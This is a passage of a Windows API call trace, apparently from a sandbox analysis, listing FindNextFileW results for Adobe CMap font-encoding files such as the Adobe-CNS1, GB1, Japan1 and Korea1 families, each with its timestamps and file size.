ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-3", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-4", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x110d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-5", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-B5pc", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-ETen-B5", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-CID", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x212a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Host", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-H-Mac", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44cc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-UCS2", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-0", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe32, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-1", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-2", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-3", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1461, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-4", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-5", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x16e86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBK-EUC", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1082, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-GBpc-EUC", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-CID", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x170e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Host", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-H-Mac", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3bb8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-GB1-UCS2", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-0", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-1", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-2", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-3", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-4", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x117c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-5", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1263, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-6", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90ms-RKSJ", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-90pv-RKSJ", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-CID", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Host", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-H-Mac", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49a9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Japan1-UCS2", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-0", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-1", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-2", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-CID", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-Host", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ca3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-H-Mac", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3df2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-KSCms-UHC", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2cf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-KSCpc-EUC", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25bda, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-UCS2", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f11, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-H", cAlternateFileName="")) returned 1 [0083.893] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-UCS2", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x457be, dwReserved0=0x0, dwReserved1=0x0, cFileName="B5pc-UCS2C", cAlternateFileName="")) returned 1 [0083.894] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8c2ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, 